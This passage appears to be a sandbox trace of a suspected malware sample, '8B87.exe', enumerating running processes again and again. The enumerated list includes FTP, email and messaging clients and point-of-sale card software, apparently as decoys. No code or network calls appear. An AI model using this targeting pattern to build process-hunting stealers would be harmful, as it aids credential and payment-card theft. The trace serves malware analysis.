cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0280.438] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0280.439] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0280.442] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0280.444] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0280.446] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0280.449] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0280.450] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0280.452] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0280.454] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0280.456] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0280.458] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0280.460] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0280.462] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0280.464] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0280.465] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0280.467] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0280.469] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0280.471] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0280.473] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0280.476] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0280.478] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0280.481] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0280.483] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0280.519] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0280.522] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0280.525] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0280.527] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0280.530] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0280.532] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0280.534] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0280.536] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0280.539] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0280.542] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0280.544] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0280.547] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0280.549] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0280.552] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0280.554] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0280.556] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0280.558] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0280.561] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0280.563] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0280.566] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0280.567] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0280.569] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0280.572] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0280.574] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0280.576] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0280.578] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0280.580] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0280.583] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0280.585] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0280.587] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0280.589] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0280.591] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0280.593] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0280.595] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0280.599] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0280.605] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.609] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0280.611] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0280.613] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0280.615] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0280.617] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0280.619] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0280.621] CloseHandle (hObject=0x21b0) returned 1 [0280.621] Sleep (dwMilliseconds=0x64) [0280.624] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21b0 [0280.673] Process32First (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0280.675] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0280.677] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0280.679] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0280.681] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0280.683] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0280.684] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0280.686] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0280.690] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0280.692] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.694] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.696] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0280.697] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.699] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.701] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.703] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.704] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, 